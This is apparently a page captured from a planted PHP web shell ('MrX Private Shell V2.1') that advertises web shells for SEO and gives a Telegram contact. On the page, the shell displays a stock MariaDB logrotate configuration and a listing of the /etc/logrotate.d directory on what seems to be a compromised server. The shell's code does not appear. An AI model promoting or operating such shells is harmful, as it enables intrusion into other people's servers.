__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# This is the MariaDB configuration for the logrotate utility
#
# Note that on most Linux systems logs are written to journald, which has its
# own rotation scheme.
#
# Read https://mariadb.com/kb/en/error-log/ to learn more about logging and
# https://mariadb.com/kb/en/rotating-logs-on-unix-and-linux/ about rotating logs.
/var/lib/mysql/mysqld.log /var/lib/mysql/mariadb.log /var/log/mysql/*.log {
# Depends on a mysql@localhost unix_socket authenticated user with RELOAD privilege
#su mysql mysql
# If any of the files listed above is missing, skip them silently without
# emitting any errors
missingok
# If file exists but is empty, don't rotate it
notifempty
# Run monthly
monthly
# Keep 6 months of logs
rotate 6
# If file is growing too big, rotate immediately
maxsize 500M
# If file size is too small, don't rotate at all
minsize 50M
# Compress logs, as they are text and compression will save a lot of disk space
compress
# Don't compress the log immediately to avoid errors about "file size changed while zipping"
delaycompress
# Don't run the postrotate script for each file configured in this file, but
# run it only once if one or more files were rotated
sharedscripts
# After each rotation, run this custom script to flush the logs. Note that
# this assumes that the mariadb-admin command has database access, which it
# has thanks to the default use of Unix socket authentication for the 'mysql'
# (or root on Debian) account used everywhere since MariaDB 10.4.
postrotate
if test -r /etc/mysql/debian.cnf
then
EXTRAPARAM='--defaults-file=/etc/mysql/debian.cnf'
fi
if test -x /usr/bin/mariadb-admin
then
/usr/bin/mariadb-admin $EXTRAPARAM --local flush-error-log \
flush-engine-log flush-general-log flush-slow-log
fi
endscript
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| alternatives | File | 120 B | 0644 |
|
| apache2 | File | 397 B | 0644 |
|
| apport | File | 126 B | 0644 |
|
| apt | File | 173 B | 0644 |
|
| bootlog | File | 91 B | 0644 |
|
| btmp | File | 130 B | 0644 |
|
| certbot | File | 82 B | 0644 |
|
| dbconfig-common | File | 107 B | 0644 |
|
| dpkg | File | 112 B | 0644 |
|
| fail2ban | File | 354 B | 0644 |
|
| mariadb | File | 1.82 KB | 0644 |
|
| rsyslog | File | 248 B | 0644 |
|
| ubuntu-pro-client | File | 270 B | 0644 |
|
| ufw | File | 209 B | 0644 |
|
| unattended-upgrades | File | 235 B | 0644 |
|
| wtmp | File | 145 B | 0644 |
|